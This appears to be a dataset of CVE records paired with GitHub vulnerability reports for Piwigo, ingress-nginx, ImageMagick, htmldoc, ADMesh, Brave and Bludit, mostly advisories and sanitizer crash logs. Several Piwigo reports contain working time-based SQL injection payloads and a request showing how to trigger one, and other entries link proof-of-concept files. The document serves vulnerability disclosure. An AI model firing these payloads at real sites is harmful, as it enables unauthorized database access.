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CVE-2022-24902 | 2022-05-06T00:15:07.817 | TkVideoplayer is a simple library to play video files in tkinter. Uncontrolled memory consumption in versions of TKVideoplayer prior to 2.0.0 can theoretically lead to performance degradation. There are no known workarounds. This issue has been patched and users are advised to upgrade to version 2.0.0 or later. | {
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CVE-2021-25745 | 2022-05-06T01:15:09.047 | A security issue was discovered in ingress-nginx where a user that can create or update ingress objects can use the spec.rules[].http.paths[].path field of an Ingress object (in the networking.k8s.io or extensions API group) to obtain the credentials of the ingress-nginx controller. In the default configuration, that credential has access to all secrets in the cluster. | {
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"kubernetes",
"ingress-nginx"
] | ### Issue Details
A security issue was discovered in [ingress-nginx](https://github.com/kubernetes/ingress-nginx) where a user that can create or update ingress objects can use the `spec.rules[].http.paths[].path` field of an Ingress object (in the `networking.k8s.io` or `extensions` API group) to obtain the credentials of the ingress-nginx controller. In the default configuration, that credential has access to all secrets in the cluster.
This issue has been rated **High** ([CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:L](https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:L)), and assigned **CVE-2021-25745**.
### Affected Components and Configurations
This bug affects ingress-nginx. If you do not have ingress-nginx installed on your cluster, you are not affected. You can check this by running `kubectl get po -n ingress-nginx`.
Multitenant environments where non-admin users have permissions to create Ingress objects are most affected by this issue.
#### Affected Versions
- <v1.2.0
#### Fixed Versions
- v1.2.0-beta.0
- v1.2.0
### Mitigation
If you are unable to roll out the fix, this vulnerability can be mitigated by implementing an admission policy that restricts the `spec.rules[].http.paths[].path` field on the `networking.k8s.io/Ingress` resource to known safe characters (see the newly added [rules](https://github.com/kubernetes/ingress-nginx/blame/main/internal/ingress/inspector/rules.go), or the suggested value for [annotation-value-word-blocklist](https://kubernetes.github.io/ingress-nginx/user-guide/nginx-configuration/configmap/#annotation-value-word-blocklist)).
### Detection
If you find evidence that this vulnerability has been exploited, please contact [security@kubernetes.io](mailto:security@kubernetes.io)
Additional Details
See ingress-nginx Issue [#8502](https://github.com/kubernetes/kubernetes/issues/126812) for more details.
### Acknowledgements
This vulnerability was reported by Gafnit Amiga.
Thank You,
CJ Cullen on behalf of the Kubernetes Security Response Committee | CVE-2021-25745: Ingress-nginx `path` can be pointed to service account token file | https://api.github.com/repos/kubernetes/kubernetes/issues/126812/comments | 14 | 2022-04-22T16:18:21Z | 2024-08-20T13:25:11Z | https://github.com/kubernetes/kubernetes/issues/126812 | 2,475,629,788 | 126,812 | 3,581 |
CVE-2021-25746 | 2022-05-06T01:15:09.180 | A security issue was discovered in ingress-nginx where a user that can create or update ingress objects can use .metadata.annotations in an Ingress object (in the networking.k8s.io or extensions API group) to obtain the credentials of the ingress-nginx controller. In the default configuration, that credential has access to all secrets in the cluster. | {
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"kubernetes",
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This issue has been rated **High** ([CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:L](https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:L)), and assigned **CVE-2021-25746**.
### Affected Components and Configurations
This bug affects ingress-nginx. If you do not have ingress-nginx installed on your cluster, you are not affected. You can check this by running `kubectl get po -n ingress-nginx`.
Multitenant environments where non-admin users have permissions to create Ingress objects are most affected by this issue.
#### Affected Versions
- <v1.2.0
#### Fixed Versions
- v1.2.0-beta.0
- v1.2.0
### Mitigation
If you are unable to roll out the fix, this vulnerability can be mitigated by implementing an admission policy that restricts the `metadata.annotations` values to known safe (see the newly added [rules](https://github.com/kubernetes/ingress-nginx/blame/main/internal/ingress/inspector/rules.go), or the suggested value for [annotation-value-word-blocklist](https://kubernetes.github.io/ingress-nginx/user-guide/nginx-configuration/configmap/#annotation-value-word-blocklist)).
### Detection
If you find evidence that this vulnerability has been exploited, please contact [security@kubernetes.io](mailto:security@kubernetes.io)
### Additional Details
See ingress-nginx Issue [#8503](https://github.com/kubernetes/kubernetes/issues/126813) for more details.
### Acknowledgements
This vulnerability was reported by Anthony Weems, and separately by jeffrey&oliver.
Thank You,
CJ Cullen on behalf of the Kubernetes Security Response Committee | CVE-2021-25746: Ingress-nginx directive injection via annotations | https://api.github.com/repos/kubernetes/kubernetes/issues/126813/comments | 12 | 2022-04-22T16:18:27Z | 2024-08-20T13:25:18Z | https://github.com/kubernetes/kubernetes/issues/126813 | 2,475,631,555 | 126,813 | 3,582 |
CVE-2020-19212 | 2022-05-06T14:15:08.217 | SQL Injection vulnerability in admin/group_list.php in piwigo v2.9.5, via the group parameter to delete. | {
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The vulnerability was found in the 'delete' method in admin/group_list.php, because it does not validate and filter the '$group' parameter when it gets the parameters. And the vulnerability could query any data in the database and display it on the page.
In the figure, I obtained the encrypted password of the user table.
| SQL injection in group_list.php | https://api.github.com/repos/Piwigo/Piwigo/issues/1009/comments | 1 | 2019-05-05T08:40:59Z | 2019-08-12T12:26:39Z | https://github.com/Piwigo/Piwigo/issues/1009 | 440,418,682 | 1,009 | 3,583 |
CVE-2020-19213 | 2022-05-06T14:15:08.267 | SQL Injection vulnerability in cat_move.php in piwigo v2.9.5, via the selection parameter to move_categories. | {
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] | github.com | [
"Piwigo",
"Piwigo"
] | Hi, I found a sql injection vulnerability in cat_move.php:
The 'move_categories' method is called when moving the album in '/admin.php?page=cat_move', but the method does not validate and filter the 'selection' and 'parent' parameters, thus causing the vulnerability.
**replace any of the following parameter in POST requests to reappear the vulnerability：**
```selection%5B%5D=1)` and if(ascii(substr(database(),1,1))>300,1,sleep(5));%23```
or
```parent=1 and if(ascii(substr(database(),1,1))>300,1,sleep(5));%23```
I use 'sqlmap' to reappear the vulnerability:
| SQL injection in cat_move.php | https://api.github.com/repos/Piwigo/Piwigo/issues/1010/comments | 2 | 2019-05-06T10:00:18Z | 2019-08-12T14:24:47Z | https://github.com/Piwigo/Piwigo/issues/1010 | 440,625,122 | 1,010 | 3,584 |
CVE-2020-19215 | 2022-05-06T14:15:08.313 | SQL Injection vulnerability in admin/user_perm.php in piwigo v2.9.5, via the cat_false parameter to admin.php?page=user_perm. | {
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"Exploit",
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"Third Party Advisory"
] | github.com | [
"Piwigo",
"Piwigo"
] | hi, I found two new vulnerabilities in admin/user_perm.php and admin/group_perm.php
1 :
request http://xx.xx.xx.xx/admin.php?page=user_perm&user_id=1 /Need to have a private album
then move the album from the right to the left
payload: ```1 and if(ascii(substr(database(),1,1))>97,1,sleep(5))``` or use 'sqlmap'
2：
same as the first, request /admin.php?page=user_perm&user_id=1 /Need to have a private album
then move the album from the right to the left
payload: ```1 and if(ascii(substr(database(),1,1))>97,1,sleep(5))``` or use 'sqlmap'
| SQL injection in user/group permissions manager | https://api.github.com/repos/Piwigo/Piwigo/issues/1011/comments | 3 | 2019-05-07T10:09:41Z | 2019-08-12T14:46:29Z | https://github.com/Piwigo/Piwigo/issues/1011 | 441,151,429 | 1,011 | 3,585 |
CVE-2020-19217 | 2022-05-06T14:15:08.407 | SQL Injection vulnerability in admin/batch_manager.php in piwigo v2.9.5, via the filter_category parameter to admin.php?page=batch_manager. | {
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"Exploit",
"Issue Tracking",
"Third Party Advisory"
] | github.com | [
"Piwigo",
"Piwigo"
] | hi，There is a vulnerability in the admin/batch_manager.php.
I didn't find the full trigger request in the browser, so I added the ‘&filter_category_use=on’ parameter to the request based on the code.
```
POST /admin.php?page=batch_manager HTTP/1.1
Host: 10.150.10.186:30002
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:62.0) Gecko/20100101 Firefox/62.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://10.150.10.186:30002/admin.php?page=batch_manager
Content-Type: application/x-www-form-urlencoded
Content-Length: 695
Cookie: pwg_display_thumbnail=no_display_thumbnail; pwg_id=85b6lvm6f6nqvji17k04ugkdu0
Connection: close
Upgrade-Insecure-Requests: 1
start=0&pwg_token=438d258aad10f5b13c74425475163e4e&filter_prefilter_use=on&filter_prefilter=last_import&filter_duplicate
s_date=on&filter_category=1&tag_mode=AND&filter_level=03&filter_dimension_min_width=145&filter_dimension_max_width=2560&
filter_dimension_min_height=91&filter_dimension_max_height=1440&filter_dimension_min_ratio=1.29&filter_dimension_max_rat
io=1.77&filter_search_use=on&q=&filter_filesize_use=on&filter_category_use=on&filter_filesize_min=1.3&filter_filesize_ma
x=1.3&submitFilter=&selectAction=-1&associate=1&dissociate=1&author=&title=&date_creation=2019-05-08+00%3A00%3A00&level=
0®enerateSuccess=0®enerateError=0
```
| SQL injection in admin/batch_manager.php | https://api.github.com/repos/Piwigo/Piwigo/issues/1012/comments | 1 | 2019-05-08T08:06:27Z | 2019-08-12T12:53:25Z | https://github.com/Piwigo/Piwigo/issues/1012 | 441,604,948 | 1,012 | 3,586 |
CVE-2022-30334 | 2022-05-07T05:15:06.913 | Brave before 1.34, when a Private Window with Tor Connectivity is used, leaks .onion URLs in Referer and Origin headers. NOTE: although this was fixed by Brave, the Brave documentation still advises "Note that Private Windows with Tor Connectivity in Brave are just regular private windows that use Tor as a proxy. Brave does NOT implement most of the privacy protections from Tor Browser." | {
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"brave",
"brave-browser"
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- omit the `Referer` header
- send a value of `null` for the `Origin` header whenever present (e.g. in the case of a `POST` request)
Same-origin requests should follow [our normal referrer policy](https://github.com/brave/brave-browser/wiki/Deviations-from-Chromium-(features-we-disable-or-remove)#modified-features-and-functionality).
Test page: http://ixrdj3iwwhkuau5tby5jh3a536a2rdhpbdbu6ldhng43r47kim7a3lid.onion/referrer/onion.html | [hackerone] Strip referrer and origin in cross-origin requests from a `.onion` origin | https://api.github.com/repos/brave/brave-browser/issues/18071/comments | 5 | 2021-09-13T23:57:55Z | 2021-12-02T17:39:16Z | https://github.com/brave/brave-browser/issues/18071 | 995,442,549 | 18,071 | 3,587 |
CVE-2018-25033 | 2022-05-08T06:15:06.920 | ADMesh through 0.98.4 has a heap-based buffer over-read in stl_update_connects_remove_1 (called from stl_remove_degenerate) in connect.c in libadmesh.a. | {
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"admesh",
"admesh"
] | Find a heap-buffer-overflow with the input. Hope this report is helpful.
[0.zip](https://github.com/admesh/admesh/files/2373110/0.zip)
```
ADMesh version 0.99.0dev, Copyright (C) 1995, 1996 Anthony D. Martin
ADMesh comes with NO WARRANTY. This is free software, and you are welcome to
redistribute it under certain conditions. See the file COPYING for details.
Opening 0
Checking exact...
Checking nearby. Tolerance= 3.937008 Iteration=1 of 2... Fixed 2 edges.
Checking nearby. Tolerance= 196854.328125 Iteration=2 of 2... Fixed 0 edges.
Removing unconnected facets...
=================================================================
==29577==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x610000000030 at pc 0x7f791f89fefe bp 0x7fffd3395da0 sp 0x7fffd3395d98
READ of size 4 at 0x610000000030 thread T0
#0 0x7f791f89fefd in stl_update_connects_remove_1 /home/t/Projects/afl/fuzzing-experiments/subjects/admesh/src/connect.c:831:9
#1 0x7f791f89fefd in stl_remove_degenerate /home/t/Projects/afl/fuzzing-experiments/subjects/admesh/src/connect.c:796
#2 0x7f791f89fefd in stl_remove_unconnected_facets /home/t/Projects/afl/fuzzing-experiments/subjects/admesh/src/connect.c:728
#3 0x7f791f8cf622 in stl_repair /home/t/Projects/afl/fuzzing-experiments/subjects/admesh/src/util.c:527:7
#4 0x51a148 in main /home/t/Projects/afl/fuzzing-experiments/subjects/admesh/src/admesh.c:303:3
#5 0x7f791e8dab96 in __libc_start_main /build/glibc-OTsEL5/glibc-2.27/csu/../csu/libc-start.c:310
#6 0x41af79 in _start (/home/t/Projects/afl/fuzzing-experiments/subjects/admesh/.libs/admesh+0x41af79)
0x610000000030 is located 16 bytes to the left of 192-byte region [0x610000000040,0x610000000100)
allocated by thread T0 here:
#0 0x4e382f in calloc /home/t/Projects/lldb-testing/llvm/projects/compiler-rt/lib/asan/asan_malloc_linux.cc:155
#1 0x7f791f8b5239 in stl_allocate /home/t/Projects/afl/fuzzing-experiments/subjects/admesh/src/stlinit.c:185:26
#2 0x7f791f8b5239 in stl_open /home/t/Projects/afl/fuzzing-experiments/subjects/admesh/src/stlinit.c:42
SUMMARY: AddressSanitizer: heap-buffer-overflow /home/t/Projects/afl/fuzzing-experiments/subjects/admesh/src/connect.c:831:9 in stl_update_connects_remove_1
Shadow bytes around the buggy address:
0x0c207fff7fb0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c207fff7fc0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c207fff7fd0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c207fff7fe0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c207fff7ff0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x0c207fff8000: fa fa fa fa fa fa[fa]fa 00 00 00 00 00 00 00 00
0x0c207fff8010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c207fff8020: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c207fff8030: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c207fff8040: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c207fff8050: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
Shadow gap: cc
==29577==ABORTING
``` | heap-buffer-flow in stl_update_connects_remove_1 | https://api.github.com/repos/admesh/admesh/issues/28/comments | 2 | 2018-09-12T00:16:49Z | 2022-05-08T06:15:18Z | https://github.com/admesh/admesh/issues/28 | 359,269,648 | 28 | 3,588 |
CVE-2022-28463 | 2022-05-08T23:15:17.820 | ImageMagick 7.1.0-27 is vulnerable to Buffer Overflow. | {
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"120"
] | 120 | https://github.com/ImageMagick/ImageMagick/issues/4988 | [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
] | github.com | [
"ImageMagick",
"ImageMagick"
] | ### ImageMagick version
7.1.0-27
### Operating system
Linux
### Operating system, version and so on
Linux d477f3580ae9 5.4.0-105-generic #119~18.04.1-Ubuntu SMP Tue Mar 8 11:21:24 UTC 2022 x86_64 x86_64 x86_64 GNU/Linux
### Description
Hello,
We are currently working on fuzz testing feature, and we found a heap-use-after-free on ImageMagick.
### Steps to Reproduce
```
➜ oss-fuzz git:(master) ✗ python infra/helper.py reproduce imagemagick encoder_cin_fuzzer ./build/out/imagemagick/crash-772bceeffddfb027f3363fb5be34fa55195a6e1a
INFO:root:Running: docker run --rm --privileged -i -v /work/fuzz/oss-fuzz/build/out/imagemagick:/out -v /work/fuzz/oss-fuzz/build/out/imagemagick/crash-772bceeffddfb027f3363fb5be34fa55195a6e1a:/testcase -t gcr.io/oss-fuzz-base/base-runner reproduce encoder_cin_fuzzer -runs=100.
+ FUZZER=encoder_cin_fuzzer
+ shift
+ '[' '!' -v TESTCASE ']'
+ TESTCASE=/testcase
+ '[' '!' -f /testcase ']'
+ export RUN_FUZZER_MODE=interactive
+ RUN_FUZZER_MODE=interactive
+ export FUZZING_ENGINE=libfuzzer
+ FUZZING_ENGINE=libfuzzer
+ export SKIP_SEED_CORPUS=1
+ SKIP_SEED_CORPUS=1
+ run_fuzzer encoder_cin_fuzzer -runs=100 /testcase
/out/encoder_cin_fuzzer -rss_limit_mb=2560 -timeout=25 -runs=100 /testcase -close_fd_mask=3 < /dev/null
INFO: Running with entropic power schedule (0xFF, 100).
INFO: Seed: 543797506
INFO: Loaded 1 modules (228899 inline 8-bit counters): 228899 [0x1f6a8b0, 0x1fa26d3),
INFO: Loaded 1 PC tables (228899 PCs): 228899 [0x1fa26d8,0x2320908),
/out/encoder_cin_fuzzer: Running 1 inputs 100 time(s) each.
Running: /testcase
=================================================================
==18==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x61b000001408 at pc 0x000000c77cfc bp 0x7ffd2026fd90 sp 0x7ffd2026fd88
READ of size 1 at 0x61b000001408 thread T0
SCARINESS: 12 (1-byte-read-heap-buffer-overflow)
#0 0xc77cfb in PushLongPixel /src/imagemagick/./MagickCore/quantum-private.h:256:27
#1 0xc77cfb in ImportRGBQuantum /src/imagemagick/MagickCore/quantum-import.c:4061:15
#2 0xc77cfb in ImportQuantumPixels /src/imagemagick/MagickCore/quantum-import.c:4774:7
#3 0xd8a7e0 in ReadCINImage /src/imagemagick/coders/cin.c:774:12
#4 0x9cfca1 in ReadImage /src/imagemagick/MagickCore/constitute.c:728:15
#5 0x94d996 in BlobToImage /src/imagemagick/MagickCore/blob.c:475:13
#6 0x81e2b1 in Magick::Image::read(Magick::Blob const&) /src/imagemagick/Magick++/lib/Image.cpp:4043:12
#7 0x7ea865 in LLVMFuzzerTestOneInput /src/imagemagick/Magick++/fuzz/encoder_fuzzer.cc:66:11
#8 0x6e0502 in fuzzer::Fuzzer::ExecuteCallback(unsigned char const*, unsigned long) /src/llvm-project/compiler-rt/lib/fuzzer/FuzzerLoop.cpp:611:15
#9 0x6cb462 in fuzzer::RunOneTest(fuzzer::Fuzzer*, char const*, unsigned long) /src/llvm-project/compiler-rt/lib/fuzzer/FuzzerDriver.cpp:324:6
#10 0x6d0ccc in fuzzer::FuzzerDriver(int*, char***, int (*)(unsigned char const*, unsigned long)) /src/llvm-project/compiler-rt/lib/fuzzer/FuzzerDriver.cpp:860:9
#11 0x6fa2b2 in main /src/llvm-project/compiler-rt/lib/fuzzer/FuzzerMain.cpp:20:10
#12 0x7f40139740b2 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x240b2)
#13 0x6a9bad in _start (/out/encoder_cin_fuzzer+0x6a9bad)
DEDUP_TOKEN: PushLongPixel--ImportRGBQuantum--ImportQuantumPixels
0x61b000001408 is located 0 bytes to the right of 1416-byte region [0x61b000000e80,0x61b000001408)
allocated by thread T0 here:
#0 0x7e678d in operator new[](unsigned long) /src/llvm-project/compiler-rt/lib/asan/asan_new_delete.cpp:98:3
#1 0x810ed0 in Magick::BlobRef::BlobRef(void const*, unsigned long) /src/imagemagick/Magick++/lib/BlobRef.cpp:30:12
#2 0x80ff7d in Magick::Blob::Blob(void const*, unsigned long) /src/imagemagick/Magick++/lib/Blob.cpp:27:18
#3 0x7ea859 in LLVMFuzzerTestOneInput /src/imagemagick/Magick++/fuzz/encoder_fuzzer.cc:64:22
#4 0x6e0502 in fuzzer::Fuzzer::ExecuteCallback(unsigned char const*, unsigned long) /src/llvm-project/compiler-rt/lib/fuzzer/FuzzerLoop.cpp:611:15
#5 0x6cb462 in fuzzer::RunOneTest(fuzzer::Fuzzer*, char const*, unsigned long) /src/llvm-project/compiler-rt/lib/fuzzer/FuzzerDriver.cpp:324:6
#6 0x6d0ccc in fuzzer::FuzzerDriver(int*, char***, int (*)(unsigned char const*, unsigned long)) /src/llvm-project/compiler-rt/lib/fuzzer/FuzzerDriver.cpp:860:9
#7 0x6fa2b2 in main /src/llvm-project/compiler-rt/lib/fuzzer/FuzzerMain.cpp:20:10
#8 0x7f40139740b2 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x240b2)
DEDUP_TOKEN: operator new[](unsigned long)--Magick::BlobRef::BlobRef(void const*, unsigned long)--Magick::Blob::Blob(void const*, unsigned long)
SUMMARY: AddressSanitizer: heap-buffer-overflow /src/imagemagick/./MagickCore/quantum-private.h:256:27 in PushLongPixel
Shadow bytes around the buggy address:
0x0c367fff8230: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c367fff8240: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c367fff8250: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c367fff8260: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c367fff8270: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x0c367fff8280: 00[fa]fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c367fff8290: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c367fff82a0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c367fff82b0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c367fff82c0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c367fff82d0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==18==ABORTING
```
### Images
[poc.zip](https://github.com/ImageMagick/ImageMagick/files/8347686/poc.zip)
| AddressSanitizer: heap-buffer-overflow /src/imagemagick/./MagickCore/quantum-private.h:256:27 in PushLongPixel | https://api.github.com/repos/ImageMagick/ImageMagick/issues/4988/comments | 3 | 2022-03-25T05:27:23Z | 2022-04-30T09:27:47Z | https://github.com/ImageMagick/ImageMagick/issues/4988 | 1,180,362,220 | 4,988 | 3,589 |
CVE-2022-27114 | 2022-05-09T17:15:09.130 | There is a vulnerability in htmldoc 1.9.16. In image_load_jpeg function image.cxx when it calls malloc,'img->width' and 'img->height' they are large enough to cause an integer overflow. So, the malloc function may return a heap blosmaller than the expected size, and it will cause a buffer overflow/Address boundary error in the jpeg_read_scanlines function. | {
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"190"
] | 190 | https://github.com/michaelrsweet/htmldoc/issues/471 | [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
] | github.com | [
"michaelrsweet",
"htmldoc"
] | Hi, there is two integer overflow bugs in the latest version of htmldoc.
They are similar to [CVE-2021-20308](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-20308).
os: ubuntu 20.04
version: 1.9.16(the latest)
### First
First, in image_load_jpeg function, image.cxx.
When it calls malloc，'img->width' and 'img->height' are enough large to cause an integer overflow
So, the malloc function may return a heap block smaller than the expected size, and it will cause a buffer overflow/Address boundary error in the jpeg_read_scanlines function.
https://github.com/michaelrsweet/htmldoc/blob/cb4cdeefa80ecdd7b647e9677ca307a817d1d5bf/htmldoc/image.cxx#L1390-L1395
https://github.com/michaelrsweet/htmldoc/blob/cb4cdeefa80ecdd7b647e9677ca307a817d1d5bf/htmldoc/image.cxx#L1452-L1466
Asan report:
```
./htmldoc --webpage -f out.pdf ./test.html
PAGES: 4
Corrupt JPEG data: premature end of data segment
AddressSanitizer:DEADLYSIGNAL
=================================================================
==1326478==ERROR: AddressSanitizer: SEGV on unknown address 0x621000020000 (pc 0x7f0bd38812e1 bp 0x7ffd6a49c500 sp 0x7ffd6a49c460 T0)
==1326478==The signal is caused by a WRITE memory access.
#0 0x7f0bd38812e1 (/lib/x86_64-linux-gnu/libjpeg.so.8+0x422e1)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV (/lib/x86_64-linux-gnu/libjpeg.so.8+0x422e1)
==1326478==ABORTING
```
And this is the poc file：
[poc1.zip](https://github.com/michaelrsweet/htmldoc/files/8220592/poc1.zip)
### Second
There is another integer overflow bug in image_load_png function, image.cxx, similar to the first one.
https://github.com/michaelrsweet/htmldoc/blob/cb4cdeefa80ecdd7b647e9677ca307a817d1d5bf/htmldoc/image.cxx#L1631-L1647
It calls calloc to get heap block.
However, the width and height of the png file are both four bytes long, so 'img->width' and 'img->height' are enough large to cause an integer overflow.
The calloc function may return a heap block smaller than the expected size, and finally cause a heap overflow in the png_read_rows function when memcpy.
This is the Asan report:
```
./htmldoc --webpage -f out.pdf ./test.html
PAGES: 4
=================================================================
==1327797==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x602000008631 at pc 0x000000434be3 bp 0x7ffc5424be70 sp 0x7ffc5424b630
WRITE of size 196608 at 0x602000008631 thread T0
#0 0x434be2 in memcpy (/root/fuzz_workdir/htmldoc/install/bin/htmldoc+0x434be2)
#1 0x7f847c9e379c (/lib/x86_64-linux-gnu/libpng16.so.16+0x1d79c)
#2 0x7f847c9d680b in png_read_row (/lib/x86_64-linux-gnu/libpng16.so.16+0x1080b)
#3 0x7f847c9d81d8 in png_read_rows (/lib/x86_64-linux-gnu/libpng16.so.16+0x121d8)
#4 0x5e8c0b in image_load_png(image_t*, _IO_FILE*, int, int) /root/fuzz_workdir/tmp/htmldoc/htmldoc/image.cxx:1647:5
#5 0x5e169d in image_load /root/fuzz_workdir/tmp/htmldoc/htmldoc/image.cxx:845:14
#6 0x54314f in write_image(_IO_FILE*, render_str*, int) /root/fuzz_workdir/tmp/htmldoc/htmldoc/ps-pdf.cxx:10305:5
#7 0x55015e in pdf_write_page(_IO_FILE*, int) /root/fuzz_workdir/tmp/htmldoc/htmldoc/ps-pdf.cxx:2695:13
#8 0x5175c6 in pdf_write_outpage(_IO_FILE*, int) /root/fuzz_workdir/tmp/htmldoc/htmldoc/ps-pdf.cxx:2607:9
#9 0x5175c6 in pdf_write_document(unsigned char*, unsigned char*, unsigned char*, unsigned char*, unsigned char*, unsigned char*, tree_str*, tree_str*) /root/fuzz_workdir/tmp/htmldoc/htmldoc/ps-pdf.cxx:2321:5
#10 0x5175c6 in pspdf_export /root/fuzz_workdir/tmp/htmldoc/htmldoc/ps-pdf.cxx:910:7
#11 0x4e30ca in main /root/fuzz_workdir/tmp/htmldoc/htmldoc/htmldoc.cxx:1291:3
#12 0x7f847c3d60b2 in __libc_start_main /build/glibc-sMfBJT/glibc-2.31/csu/../csu/libc-start.c:308:16
#13 0x41e86d in _start (/root/fuzz_workdir/htmldoc/install/bin/htmldoc+0x41e86d)
0x602000008631 is located 0 bytes to the right of 1-byte region [0x602000008630,0x602000008631)
allocated by thread T0 here:
#0 0x499c42 in calloc (/root/fuzz_workdir/htmldoc/install/bin/htmldoc+0x499c42)
#1 0x5e897d in image_load_png(image_t*, _IO_FILE*, int, int) /root/fuzz_workdir/tmp/htmldoc/htmldoc/image.cxx:1631:26
#2 0x5e169d in image_load /root/fuzz_workdir/tmp/htmldoc/htmldoc/image.cxx:845:14
#3 0x54314f in write_image(_IO_FILE*, render_str*, int) /root/fuzz_workdir/tmp/htmldoc/htmldoc/ps-pdf.cxx:10305:5
#4 0x55015e in pdf_write_page(_IO_FILE*, int) /root/fuzz_workdir/tmp/htmldoc/htmldoc/ps-pdf.cxx:2695:13
SUMMARY: AddressSanitizer: heap-buffer-overflow (/root/fuzz_workdir/htmldoc/install/bin/htmldoc+0x434be2) in memcpy
Shadow bytes around the buggy address:
0x0c047fff9070: fa fa 00 02 fa fa 00 02 fa fa 00 02 fa fa 00 02
0x0c047fff9080: fa fa 00 02 fa fa 06 fa fa fa 06 fa fa fa 07 fa
0x0c047fff9090: fa fa 06 fa fa fa 02 fa fa fa 00 07 fa fa fd fd
0x0c047fff90a0: fa fa fd fa fa fa fd fa fa fa fd fa fa fa fd fd
0x0c047fff90b0: fa fa fd fa fa fa fd fd fa fa fd fa fa fa fd fa
=>0x0c047fff90c0: fa fa fd fa fa fa[01]fa fa fa fa fa fa fa fa fa
0x0c047fff90d0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff90e0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff90f0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff9100: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff9110: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
Shadow gap: cc
==1327797==ABORTING
```
And this is the poc file:
[poc2.zip](https://github.com/michaelrsweet/htmldoc/files/8220755/poc2.zip)
(wrong poc)
This is the correct poc:
[real_poc2.zip](https://github.com/michaelrsweet/htmldoc/files/8229112/real_poc2.zip)
| Two Integer Overflow bugs in image.cxx | https://api.github.com/repos/michaelrsweet/htmldoc/issues/471/comments | 5 | 2022-03-10T05:57:25Z | 2022-05-22T09:06:54Z | https://github.com/michaelrsweet/htmldoc/issues/471 | 1,164,787,186 | 471 | 3,590 |
CVE-2020-19228 | 2022-05-11T12:15:07.863 | An issue was found in bludit v3.13.0, unsafe implementation of the backup plugin allows attackers to upload arbitrary files. | {
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"434"
] | 434 | https://github.com/bludit/bludit/issues/1242 | [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
] | github.com | [
"bludit",
"bludit"
] | Bludit v3.13.0 has a file upload vulnerability in 'backup' plugin . It requires administrator privileges .
1 open http://10.150.10.170/admin/plugins
Activate 'backup' plugin and click the Settings
2 open http://10.150.10.170/admin/configure-plugin/pluginBackup
upload the 'https://github.com/zongdeiqianxing/files/blob/master/2020-07-24-13-58-42.zip' zip file that I provide .
The zip file has a 1.php in the bl-content\uploads directory,
